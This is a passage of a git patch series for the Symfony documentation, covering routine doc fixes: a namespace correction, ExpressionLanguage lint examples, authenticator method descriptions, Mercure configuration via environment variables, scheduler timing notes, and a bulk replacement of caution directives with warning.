 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 3f3fb7d87de..8661263b90d 100644
--- a/security.rst
+++ b/security.rst
@@ -1767,7 +1767,7 @@ You can log in a user programmatically using the ``login()`` method of the
 :class:`Symfony\\Bundle\\SecurityBundle\\Security` helper::
 
     // src/Controller/SecurityController.php
-    namespace App\Controller\SecurityController;
+    namespace App\Controller;
 
     use App\Security\Authenticator\ExampleAuthenticator;
     use Symfony\Bundle\SecurityBundle\Security;

From 5bcde9cdbd04cdef21300506c0cc5bd21c23be12 Mon Sep 17 00:00:00 2001
From: moshkov-konstantin <k.moshkov@h1.marketing>
Date: Fri, 1 Nov 2024 18:33:23 +0300
Subject: [PATCH 5191/5766] Update asset_mapper.rst

---
 frontend/asset_mapper.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index ad5b78b5e13..435524a26ae 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -639,7 +639,7 @@ To make your AssetMapper-powered site fly, there are a few things you need to
 do. If you want to take a shortcut, you can use a service like `Cloudflare`_,
 which will automatically do most of these things for you:
 
-- **Use HTTP/2**: Your web server should be running HTTP/2 (or HTTP/3) so the
+- **Use HTTP/2**: Your web server should be running HTTP/2 or HTTP/3 so the
   browser can download assets in parallel. HTTP/2 is automatically enabled in Caddy
   and can be activated in Nginx and Apache. Or, proxy your site through a
   service like Cloudflare, which will automatically enable HTTP/2 for you.
@@ -647,7 +647,6 @@ which will automatically do most of these things for you:
 - **Compress your assets**: Your web server should compress (e.g. using gzip)
   your assets (JavaScript, CSS, images) before sending them to the browser. This
   is automatically enabled in Caddy and can be activated in Nginx and Apache.
-  In Cloudflare, assets are compressed by default.
 
 - **Set long-lived cache expiry**: Your web server should set a long-lived
   ``Cache-Control`` HTTP header on your assets. Because the AssetMapper component includes a version

From 36bef931ff4c6874687901eee70f3bb6463d49dd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 6 Dec 2024 08:35:15 +0100
Subject: [PATCH 5192/5766] Revert a change

---
 frontend/asset_mapper.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 435524a26ae..ebf1e5f8304 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -647,6 +647,7 @@ which will automatically do most of these things for you:
 - **Compress your assets**: Your web server should compress (e.g. using gzip)
   your assets (JavaScript, CSS, images) before sending them to the browser. This
   is automatically enabled in Caddy and can be activated in Nginx and Apache.
+  In Cloudflare, assets are compressed by default.
 
 - **Set long-lived cache expiry**: Your web server should set a long-lived
   ``Cache-Control`` HTTP header on your assets. Because the AssetMapper component includes a version

From a8841ee2472df97291395786dbdbf68d551db348 Mon Sep 17 00:00:00 2001
From: kl3sk <klesk44@gmail.com>
Date: Mon, 28 Oct 2024 12:27:32 +0100
Subject: [PATCH 5193/5766] Update Expression_language: lint function

The lint function doesn't return anything but exception.

Second arguments with Flags example is ommitted.

Update expression_language.rst

Removing `var_dump`, this make no sens here.

Update expression_language.rst

Sync with last commits

Update expression_language.rst

Change comment explication for "IGNORE_*" flags
---
 components/expression_language.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index 785beebd9da..7dacf581b14 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -106,6 +106,10 @@ if the expression is not valid::
 
     $expressionLanguage->lint('1 + 2', []); // doesn't throw anything
 
+    $expressionLanguage->lint('1 + a', []);
+    // Throw SyntaxError Exception
+    // "Variable "a" is not valid around position 5 for expression `1 + a`."
+
 The behavior of these methods can be configured with some flags defined in the
 :class:`Symfony\\Component\\ExpressionLanguage\\Parser` class:
 
@@ -121,8 +125,8 @@ This is how you can use these flags::
 
     $expressionLanguage = new ExpressionLanguage();
 
-    // this returns true because the unknown variables and functions are ignored
-    var_dump($expressionLanguage->lint('unknown_var + unknown_function()', Parser::IGNORE_UNKNOWN_VARIABLES | Parser::IGNORE_UNKNOWN_FUNCTIONS));
+    // Does not throw a SyntaxError because the unknown variables and functions are ignored
+    $expressionLanguage->lint('unknown_var + unknown_function()', [], Parser::IGNORE_UNKNOWN_VARIABLES | Parser::IGNORE_UNKNOWN_FUNCTIONS);
 
 .. versionadded:: 7.1
 

From 694cd4c081b693324a303930241ac04beca488d1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 6 Dec 2024 09:08:20 +0100
Subject: [PATCH 5194/5766] Minor tweaks

---
 components/expression_language.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index 7dacf581b14..b0dd10b0f42 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -107,7 +107,7 @@ if the expression is not valid::
     $expressionLanguage->lint('1 + 2', []); // doesn't throw anything
 
     $expressionLanguage->lint('1 + a', []);
-    // Throw SyntaxError Exception
+    // throws a SyntaxError exception:
     // "Variable "a" is not valid around position 5 for expression `1 + a`."
 
 The behavior of these methods can be configured with some flags defined in the
@@ -125,7 +125,7 @@ This is how you can use these flags::
 
     $expressionLanguage = new ExpressionLanguage();
 
-    // Does not throw a SyntaxError because the unknown variables and functions are ignored
+    // does not throw a SyntaxError because the unknown variables and functions are ignored
     $expressionLanguage->lint('unknown_var + unknown_function()', [], Parser::IGNORE_UNKNOWN_VARIABLES | Parser::IGNORE_UNKNOWN_FUNCTIONS);
 
 .. versionadded:: 7.1

From 236e419660b3b993e44e30c6afc3e1b4138855b3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Fri, 2 Aug 2024 20:04:34 +0200
Subject: [PATCH 5195/5766] [Security] Authenticator methods description

---
 security/custom_authenticator.rst | 27 +++++++++++++++------------
 1 file changed, 15 insertions(+), 12 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 9bf42a8748f..8b55af36cb8 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -153,22 +153,25 @@ or there was something wrong (e.g. incorrect password). The authenticator
 can define what happens in these cases:
 
 ``onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response``
-    If the user is authenticated, this method is called with the
-    authenticated ``$token``. This method can return a response (e.g.
-    redirect the user to some page).
+    If authentication is successful, this method is called with the
+    authenticated ``$token``.
 
-    If ``null`` is returned, the request continues like normal (i.e. the
-    controller matching the login route is called). This is useful for API
-    routes where each route is protected by an API key header.
+    This method can return a response (e.g. redirect the user to some page).
+
+    If ``null`` is returned, the current request will continue (and the
+    user will be authenticated). This is useful for API routes where each
+    route is protected by an API key header.
 
 ``onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response``
-    If an ``AuthenticationException`` is thrown during authentication, the
-    process fails and this method is called. This method can return a
-    response (e.g. to return a 401 Unauthorized response in API routes).
+    If authentication failed (e. g. wrong username password), this method
+    is called with the ``AuthenticationException`` thrown.
+
+    This method can return a response (e.g. send a 401 Unauthorized in API
+    routes).
 
-    If ``null`` is returned, the request continues like normal. This is
-    useful for e.g. login forms, where the login controller is run again
-    with the login errors.
+    If ``null`` is returned, the request continues (but the user will **not**
+    be authenticated). This is useful for login forms, where the login
+    controller is run again with the login errors.
 
     If you're using :ref:`login throttling <security-login-throttling>`,
     you can check if ``$exception`` is an instance of

From e58460bbb5ce875496c429a1874aa237615a00fe Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 6 Dec 2024 10:01:26 +0100
Subject: [PATCH 5196/5766] [EventDispatcher] Fix the syntax of the Learn More
 list

---
 components/event_dispatcher.rst | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 83cead3d19c..8cd676dd5fe 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -476,11 +476,7 @@ with some other dispatchers:
 Learn More
 ----------
 
-.. toctree::
-    :maxdepth: 1
-
-    /components/event_dispatcher/generic_event
-
+* :doc:`/components/event_dispatcher/generic_event`
 * :ref:`The kernel.event_listener tag <dic-tags-kernel-event-listener>`
 * :ref:`The kernel.event_subscriber tag <dic-tags-kernel-event-subscriber>`
 

From 8f1912f7363d06281b053c42f2303642215ef936 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 8 Nov 2024 12:45:01 +0100
Subject: [PATCH 5197/5766] Update mercure.rst: Actually using the env vars

Page: https://symfony.com/doc/5.x/mercure.html#configuration

Reason: The above paragraph explains how to set all those vars in `.env`, but then the code sample didn't use it ;-)
---
 mercure.rst | 33 ++++++++++++++++++---------------
 1 file changed, 18 insertions(+), 15 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index e05f9033876..58ffdde9182 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -130,11 +130,12 @@ MercureBundle provides a more advanced configuration:
         mercure:
             hubs:
                 default:
-                    url: https://mercure-hub.example.com/.well-known/mercure
+                    url: '%env(string:MERCURE_URL)%'
+                    public_url: '%env(string:MERCURE_PUBLIC_URL)%'
                     jwt:
-                        secret: '!ChangeThisMercureHubJWTSecretKey!'
-                        publish: ['foo', 'https://example.com/foo']
-                        subscribe: ['bar', 'https://example.com/bar']
+                        secret: '%env(string:MERCURE_JWT_SECRET)%'
+                        publish: ['https://example.com/foo1', 'https://example.com/foo2']
+                        subscribe: ['https://example.com/bar1', 'https://example.com/bar2']
                         algorithm: 'hmac.sha256'
                         provider: 'My\Provider'
                         factory: 'My\Factory'
@@ -147,19 +148,20 @@ MercureBundle provides a more advanced configuration:
         <config>
             <hub
                 name="default"
-                url="https://mercure-hub.example.com/.well-known/mercure"
-            >
+                url="%env(string:MERCURE_URL)%"
+                public_url="%env(string:MERCURE_PUBLIC_URL)%"
+            > <!-- public_url defaults to url -->
                 <jwt
-                    secret="!ChangeThisMercureHubJWTSecretKey!"
+                    secret="%env(string:MERCURE_JWT_SECRET)%"
                     algorithm="hmac.sha256"
                     provider="My\Provider"
                     factory="My\Factory"
                     value="my.jwt"
                 >
-                    <publish>foo</publish>
-                    <publish>https://example.com/foo</publish>
-                    <subscribe>bar</subscribe>
-                    <subscribe>https://example.com/bar</subscribe>
+                    <publish>https://example.com/foo1</publish>
+                    <publish>https://example.com/foo2</publish>
+                    <subscribe>https://example.com/bar1</subscribe>
+                    <subscribe>https://example.com/bar2</subscribe>
                 </jwt>
             </hub>
         </config>
@@ -170,11 +172,12 @@ MercureBundle provides a more advanced configuration:
         $container->loadFromExtension('mercure', [
             'hubs' => [
                 'default' => [
-                    'url' => 'https://mercure-hub.example.com/.well-known/mercure',
+                    'url' => '%env(string:MERCURE_URL)%',
+                    'public_url' => '%env(string:MERCURE_PUBLIC_URL)%',
                     'jwt' => [
-                        'secret' => '!ChangeThisMercureHubJWTSecretKey!',
-                        'publish' => ['foo', 'https://example.com/foo'],
-                        'subscribe' => ['bar', 'https://example.com/bar'],
+                        'secret' => '%env(string:MERCURE_JWT_SECRET)%',
+                        'publish' => ['https://example.com/foo1', 'https://example.com/foo2'],
+                        'subscribe' => ['https://example.com/bar1', 'https://example.com/bar2'],
                         'algorithm' => 'hmac.sha256',
                         'provider' => 'My\Provider',
                         'factory' => 'My\Factory',

From a984be5bb36e22ebf279b68c36fb0745821a72da Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Fri, 6 Dec 2024 18:29:01 +0100
Subject: [PATCH 5198/5766] fix: remove quotes on routes

---
 routing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index d0c89f1f403..02e5809cddb 100644
--- a/routing.rst
+++ b/routing.rst
@@ -302,7 +302,7 @@ arbitrary matching logic:
         # config/routes.yaml
         contact:
             path:       /contact
-            controller: 'App\Controller\DefaultController::contact'
+            controller: App\Controller\DefaultController::contact
             condition:  "context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'"
             # expressions can also include configuration parameters:
             # condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
@@ -311,7 +311,7 @@ arbitrary matching logic:
 
         post_show:
             path:       /posts/{id}
-            controller: 'App\Controller\DefaultController::showPost'
+            controller: App\Controller\DefaultController::showPost
             # expressions can retrieve route parameter values using the "params" variable
             condition:  "params['id'] < 1000"
 

From 38b721ec40cc2ff2ff37bbd93014fcbfe3690255 Mon Sep 17 00:00:00 2001
From: dearaujoj <jderaujo@ozkasuma.fr>
Date: Sat, 7 Dec 2024 10:37:45 +0100
Subject: [PATCH 5199/5766] Fix typo

"seperate" should be "separate" in the text: "the process in two seperate responsibilities"
---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index 6cb0a564f3a..72c6dad40ba 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -238,7 +238,7 @@ The serializer uses a two-step process when (de)serializing objects:
     ></object>
 
 In both directions, data is always first converted to an array. This splits
-the process in two seperate responsibilities:
+the process in two separate responsibilities:
 
 Normalizers
     These classes convert **objects** into **arrays** and vice versa. They

From f58f1ebfa747a4aa900710abed46b0563f55fb76 Mon Sep 17 00:00:00 2001
From: Tim Goudriaan <tim@codedmonkey.com>
Date: Sat, 7 Dec 2024 11:53:08 +0100
Subject: [PATCH 5200/5766] [Scheduler] Periodical triggers timing

---
 scheduler.rst | 31 +++++++++++++++++++++++++++----
 1 file changed, 27 insertions(+), 4 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 160ba26e0cb..9407b85e57f 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -286,14 +286,37 @@ defined by PHP datetime functions::
     RecurringMessage::every('3 weeks', new Message());
     RecurringMessage::every('first Monday of next month', new Message());
 
-    $from = new \DateTimeImmutable('13:47', new \DateTimeZone('Europe/Paris'));
-    $until = '2023-06-12';
-    RecurringMessage::every('first Monday of next month', new Message(), $from, $until);
-
 .. tip::
 
     You can also define periodic tasks using :ref:`the AsPeriodicTask attribute <scheduler-attributes-periodic-task>`.
 
+Be aware that the message isn't passed to the messenger when you start the
+scheduler. The message will only be executed after the first frequency period
+has passed.
+
+It's also possible to pass a from and until time for your schedule. For
+example, if you want to execute a command every day at 13:00::
+
+    $from = new \DateTimeImmutable('13:00', new \DateTimeZone('Europe/Paris'));
+    RecurringMessage::every('1 day', new Message(), from: $from);
+
+Or if you want to execute a message every day until a specific date::
+
+    $until = '2023-06-12';
+    RecurringMessage::every('1 day', new Message(), until: $until);
+
+And you can even combine the from and until parameters for more granular
+control::
+
+    $from = new \DateTimeImmutable('2023-01-01 13:47', new \DateTimeZone('Europe/Paris'));
+    $until = '2023-06-12';
+    RecurringMessage::every('first Monday of next month', new Message(), from: $from, until: $until);
+
+If you don't pass a from parameter to your schedule, the first frequency period
+is counted from the moment the scheduler is started. So if you start your
+scheduler at 8:33 and the message is scheduled to perform every hour, it
+will be executed at 9:33, 10:33, 11:33 and so on.
+
 Custom Triggers
 ~~~~~~~~~~~~~~~
 

From 3849004fcc56c63ced8441d0870e34137b5ab4b5 Mon Sep 17 00:00:00 2001
From: Timo Bakx <github@timobakx.dev>
Date: Sat, 7 Dec 2024 11:38:23 +0100
Subject: [PATCH 5201/5766] Replaced caution blocks with warning

Fixes #20371

Both blocks are currently rendered identically. Keeping only one of the two makes it easier to contribute.

Some blocks were elevated to danger.
---
 .doctor-rst.yaml                              |  1 +
 bundles.rst                                   |  6 +--
 bundles/best_practices.rst                    |  2 +-
 bundles/extension.rst                         |  2 +-
 bundles/override.rst                          |  2 +-
 cache.rst                                     |  2 +-
 components/cache/adapters/apcu_adapter.rst    |  4 +-
 .../adapters/couchbasebucket_adapter.rst      |  2 +-
 .../adapters/couchbasecollection_adapter.rst  |  2 +-
 .../cache/adapters/filesystem_adapter.rst     |  2 +-
 .../cache/adapters/memcached_adapter.rst      |  4 +-
 .../cache/adapters/php_files_adapter.rst      |  2 +-
 components/cache/adapters/redis_adapter.rst   |  2 +-
 components/config/definition.rst              |  4 +-
 .../console/changing_default_command.rst      |  2 +-
 components/console/events.rst                 |  2 +-
 components/console/helpers/progressbar.rst    |  2 +-
 components/console/helpers/questionhelper.rst |  6 +--
 components/finder.rst                         |  2 +-
 components/form.rst                           |  2 +-
 components/http_kernel.rst                    |  2 +-
 components/ldap.rst                           |  2 +-
 components/lock.rst                           | 38 +++++++++----------
 components/options_resolver.rst               |  4 +-
 components/phpunit_bridge.rst                 |  2 +-
 components/process.rst                        |  4 +-
 components/property_access.rst                |  6 +--
 components/runtime.rst                        |  2 +-
 components/uid.rst                            |  4 +-
 components/validator/resources.rst            |  2 +-
 configuration.rst                             |  6 +--
 configuration/env_var_processors.rst          |  2 +-
 configuration/multiple_kernels.rst            |  2 +-
 configuration/override_dir_structure.rst      |  2 +-
 console.rst                                   | 10 ++---
 console/calling_commands.rst                  |  2 +-
 console/command_in_controller.rst             |  2 +-
 console/commands_as_services.rst              |  4 +-
 console/input.rst                             |  2 +-
 contributing/code/bc.rst                      |  8 ++--
 contributing/code/bugs.rst                    |  2 +-
 contributing/documentation/format.rst         |  2 +-
 contributing/documentation/standards.rst      |  2 +-
 deployment.rst                                |  2 +-
 deployment/proxies.rst                        |  2 +-
 doctrine.rst                                  |  6 +--
 doctrine/custom_dql_functions.rst             |  2 +-
 doctrine/multiple_entity_managers.rst         |  6 +--
 doctrine/reverse_engineering.rst              |  2 +-
 form/bootstrap5.rst                           |  6 +--
 form/create_custom_field_type.rst             |  2 +-
 form/data_mappers.rst                         |  4 +-
 form/data_transformers.rst                    |  6 +--
 form/direct_submit.rst                        |  2 +-
 form/events.rst                               |  4 +-
 form/form_collections.rst                     |  6 +--
 form/form_customization.rst                   |  4 +-
 form/form_themes.rst                          |  2 +-
 form/inherit_data_option.rst                  |  2 +-
 form/type_guesser.rst                         |  2 +-
 form/unit_testing.rst                         |  4 +-
 form/without_class.rst                        |  2 +-
 forms.rst                                     |  2 +-
 frontend/asset_mapper.rst                     |  2 +-
 frontend/encore/installation.rst              |  2 +-
 frontend/encore/simple-example.rst            |  4 +-
 frontend/encore/virtual-machine.rst           |  4 +-
 http_cache/cache_invalidation.rst             |  2 +-
 http_cache/esi.rst                            |  2 +-
 http_client.rst                               |  2 +-
 lock.rst                                      |  2 +-
 logging/channels_handlers.rst                 |  2 +-
 logging/monolog_exclude_http_codes.rst        |  2 +-
 mailer.rst                                    | 16 ++++----
 mercure.rst                                   |  2 +-
 messenger.rst                                 | 12 +++---
 notifier.rst                                  |  8 ++--
 profiler.rst                                  |  4 +-
 reference/configuration/framework.rst         |  2 +-
 reference/configuration/web_profiler.rst      |  2 +-
 reference/constraints/Callback.rst            |  2 +-
 reference/constraints/EqualTo.rst             |  2 +-
 reference/constraints/File.rst                |  2 +-
 reference/constraints/IdenticalTo.rst         |  2 +-
 reference/constraints/NotEqualTo.rst          |  2 +-
 reference/constraints/NotIdenticalTo.rst      |  2 +-
 reference/constraints/UniqueEntity.rst        |  6 +--
 reference/dic_tags.rst                        |  2 +-
 reference/formats/expression_language.rst     |  2 +-
 reference/formats/message_format.rst          |  2 +-
 reference/forms/types/choice.rst              |  2 +-
 reference/forms/types/collection.rst          |  6 +--
 reference/forms/types/country.rst             |  2 +-
 reference/forms/types/currency.rst            |  2 +-
 reference/forms/types/date.rst                |  2 +-
 reference/forms/types/dateinterval.rst        |  4 +-
 reference/forms/types/entity.rst              |  2 +-
 reference/forms/types/language.rst            |  2 +-
 reference/forms/types/locale.rst              |  2 +-
 reference/forms/types/money.rst               |  5 ++-
 .../types/options/_date_limitation.rst.inc    |  2 +-
 .../forms/types/options/choice_name.rst.inc   |  2 +-
 reference/forms/types/options/data.rst.inc    |  2 +-
 .../options/empty_data_description.rst.inc    |  2 +-
 .../forms/types/options/inherit_data.rst.inc  |  2 +-
 reference/forms/types/options/value.rst.inc   |  2 +-
 reference/forms/types/password.rst            |  2 +-
 reference/forms/types/textarea.rst            |  2 +-
 reference/forms/types/time.rst                |  6 +--
 reference/forms/types/timezone.rst            |  2 +-
 routing.rst                                   | 10 ++---
 security.rst                                  |  4 +-
 security/access_control.rst                   |  6 +--
 security/access_token.rst                     |  4 +-
 security/impersonating_user.rst               |  2 +-
 security/ldap.rst                             |  4 +-
 security/login_link.rst                       |  2 +-
 security/passwords.rst                        |  2 +-
 security/user_providers.rst                   |  2 +-
 security/voters.rst                           |  2 +-
 serializer.rst                                |  2 +-
 service_container.rst                         |  4 +-
 service_container/definitions.rst             |  4 +-
 service_container/lazy_services.rst           |  2 +-
 service_container/service_decoration.rst      |  2 +-
 .../service_subscribers_locators.rst          |  2 +-
 service_container/tags.rst                    |  2 +-
 session.rst                                   |  4 +-
 setup/_update_all_packages.rst.inc            |  2 +-
 setup/file_permissions.rst                    |  8 ++--
 setup/symfony_server.rst                      |  8 ++--
 setup/upgrade_major.rst                       |  2 +-
 setup/web_server_configuration.rst            |  2 +-
 templates.rst                                 |  4 +-
 testing.rst                                   |  4 +-
 testing/end_to_end.rst                        |  2 +-
 testing/http_authentication.rst               |  2 +-
 testing/insulating_clients.rst                |  2 +-
 translation.rst                               |  8 ++--
 validation.rst                                |  2 +-
 validation/groups.rst                         |  2 +-
 validation/sequence_provider.rst              |  4 +-
 workflow.rst                                  |  2 +-
 143 files changed, 248 insertions(+), 246 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 7bce99e69a1..f78b5c21ec9 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -23,6 +23,7 @@ rules:
     forbidden_directives:
         directives:
             - '.. index::'
+            - '.. caution::'
     indention: ~
     lowercase_as_in_use_statements: ~
     max_blank_lines:
diff --git a/bundles.rst b/bundles.rst
index ac02fff4ff0..4240b060012 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -3,7 +3,7 @@
 The Bundle System
 =================
 
-.. caution::
+.. warning::
 
     In Symfony versions prior to 4.0, it was recommended to organize your own
     application code using bundles. This is :ref:`no longer recommended <best-practice-no-application-bundles>` and bundles
@@ -63,7 +63,7 @@ Start by creating a new class called ``AcmeBlogBundle``::
     The :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` was
     introduced in Symfony 6.1.
 
-.. caution::
+.. warning::
 
     If your bundle must be compatible with previous Symfony versions you have to
     extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle` instead.
@@ -123,7 +123,7 @@ to be adjusted if needed:
 
 .. _bundles-legacy-directory-structure:
 
-.. caution::
+.. warning::
 
     The recommended bundle structure was changed in Symfony 5, read the
     `Symfony 4.4 bundle documentation`_ for information about the old
diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 5996bcbe43d..376984388db 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -246,7 +246,7 @@ with Symfony Flex to install a specific Symfony version:
     # recommended to have a better output and faster download time)
     composer update --prefer-dist --no-progress
 
-.. caution::
+.. warning::
 
     If you want to cache your Composer dependencies, **do not** cache the
     ``vendor/`` directory as this has side-effects. Instead cache
diff --git a/bundles/extension.rst b/bundles/extension.rst
index 6b87572a6de..23318590166 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -204,7 +204,7 @@ Patterns are transformed into the actual class namespaces using the classmap
 generated by Composer. Therefore, before using these patterns, you must generate
 the full classmap executing the ``dump-autoload`` command of Composer.
 
-.. caution::
+.. warning::
 
     This technique can't be used when the classes to compile use the ``__DIR__``
     or ``__FILE__`` constants, because their values will change when loading
diff --git a/bundles/override.rst b/bundles/override.rst
index 36aea69b231..f25bd785373 100644
--- a/bundles/override.rst
+++ b/bundles/override.rst
@@ -19,7 +19,7 @@ For example, to override the ``templates/registration/confirmed.html.twig``
 template from the AcmeUserBundle, create this template:
 ``<your-project>/templates/bundles/AcmeUserBundle/registration/confirmed.html.twig``
 
-.. caution::
+.. warning::
 
     If you add a template in a new location, you *may* need to clear your
     cache (``php bin/console cache:clear``), even if you are in debug mode.
diff --git a/cache.rst b/cache.rst
index b4b8bbfde13..0072e9cfd52 100644
--- a/cache.rst
+++ b/cache.rst
@@ -854,7 +854,7 @@ Then, register the ``SodiumMarshaller`` service using this key:
             //->addArgument(['env(base64:CACHE_DECRYPTION_KEY)', 'env(base64:OLD_CACHE_DECRYPTION_KEY)'])
             ->addArgument(new Reference('.inner'));
 
-.. caution::
+.. danger::
 
     This will encrypt the values of the cache items, but not the cache keys. Be
     careful not to leak sensitive data in the keys.
diff --git a/components/cache/adapters/apcu_adapter.rst b/components/cache/adapters/apcu_adapter.rst
index 99d76ce5d27..f2e92850cd8 100644
--- a/components/cache/adapters/apcu_adapter.rst
+++ b/components/cache/adapters/apcu_adapter.rst
@@ -5,7 +5,7 @@ This adapter is a high-performance, shared memory cache. It can *significantly*
 increase an application's performance, as its cache contents are stored in shared
 memory, a component appreciably faster than many others, such as the filesystem.
 
-.. caution::
+.. warning::
 
     **Requirement:** The `APCu extension`_ must be installed and active to use
     this adapter.
@@ -30,7 +30,7 @@ and cache items version string as constructor arguments::
         $version = null
     );
 
-.. caution::
+.. warning::
 
     Use of this adapter is discouraged in write/delete heavy workloads, as these
     operations cause memory fragmentation that results in significantly degraded performance.
diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index 7ea068cabfc..970dabe2cd9 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -8,7 +8,7 @@ shared memory; you can store contents independent of your PHP environment.
 The ability to utilize a cluster of servers to provide redundancy and/or fail-over
 is also available.
 
-.. caution::
+.. warning::
 
     **Requirements:** The `Couchbase PHP extension`_ as well as a `Couchbase server`_
     must be installed, active, and running to use this adapter. Version ``2.6`` or
diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst
index 25640a20b0f..ba78cc46eff 100644
--- a/components/cache/adapters/couchbasecollection_adapter.rst
+++ b/components/cache/adapters/couchbasecollection_adapter.rst
@@ -8,7 +8,7 @@ shared memory; you can store contents independent of your PHP environment.
 The ability to utilize a cluster of servers to provide redundancy and/or fail-over
 is also available.
 
-.. caution::
+.. warning::
 
     **Requirements:** The `Couchbase PHP extension`_ as well as a `Couchbase server`_
     must be installed, active, and running to use this adapter. Version ``3.0`` or
diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst
index 26ef48af27c..db877454859 100644
--- a/components/cache/adapters/filesystem_adapter.rst
+++ b/components/cache/adapters/filesystem_adapter.rst
@@ -33,7 +33,7 @@ and cache root path as constructor parameters::
         $directory = null
     );
 
-.. caution::
+.. warning::
 
     The overhead of filesystem IO often makes this adapter one of the *slower*
     choices. If throughput is paramount, the in-memory adapters
diff --git a/components/cache/adapters/memcached_adapter.rst b/components/cache/adapters/memcached_adapter.rst
index d68d3e3b9ac..64baf0d4702 100644
--- a/components/cache/adapters/memcached_adapter.rst
+++ b/components/cache/adapters/memcached_adapter.rst
@@ -8,7 +8,7 @@ shared memory; you can store contents independent of your PHP environment.
 The ability to utilize a cluster of servers to provide redundancy and/or fail-over
 is also available.
 
-.. caution::
+.. warning::
 
     **Requirements:** The `Memcached PHP extension`_ as well as a `Memcached server`_
     must be installed, active, and running to use this adapter. Version ``2.2`` or
@@ -256,7 +256,7 @@ Available Options
     executed in a "fire-and-forget" manner; no attempt to ensure the operation
     has been received or acted on will be made once the client has executed it.
 
-    .. caution::
+    .. warning::
 
         Not all library operations are tested in this mode. Mixed TCP and UDP
         servers are not allowed.
diff --git a/components/cache/adapters/php_files_adapter.rst b/components/cache/adapters/php_files_adapter.rst
index efd2cf0e964..6f171f0fede 100644
--- a/components/cache/adapters/php_files_adapter.rst
+++ b/components/cache/adapters/php_files_adapter.rst
@@ -28,7 +28,7 @@ file similar to the following::
     handles file includes, this adapter has the potential to be much faster than other
     filesystem-based caches.
 
-.. caution::
+.. warning::
 
     While it supports updates and because it is using OPcache as a backend, this adapter is
     better suited for append-mostly needs. Using it in other scenarios might lead to
diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index c764bb86ed4..827e2dfb00d 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -15,7 +15,7 @@ Unlike the :doc:`APCu adapter </components/cache/adapters/apcu_adapter>`, and si
 shared memory; you can store contents independent of your PHP environment. The ability
 to utilize a cluster of servers to provide redundancy and/or fail-over is also available.
 
-.. caution::
+.. warning::
 
     **Requirements:** At least one `Redis server`_ must be installed and running to use this
     adapter. Additionally, this adapter requires a compatible extension or library that implements
diff --git a/components/config/definition.rst b/components/config/definition.rst
index d1b41d99fce..96f0c177aaa 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -675,7 +675,7 @@ The separator used in keys is typically ``_`` in YAML and ``-`` in XML.
 For example, ``auto_connect`` in YAML and ``auto-connect`` in XML. The
 normalization would make both of these ``auto_connect``.
 
-.. caution::
+.. warning::
 
     The target key will not be altered if it's mixed like
     ``foo-bar_moo`` or if it already exists.
@@ -894,7 +894,7 @@ Otherwise the result is a clean array of configuration values::
         $configs
     );
 
-.. caution::
+.. warning::
 
     When processing the configuration tree, the processor assumes that the top
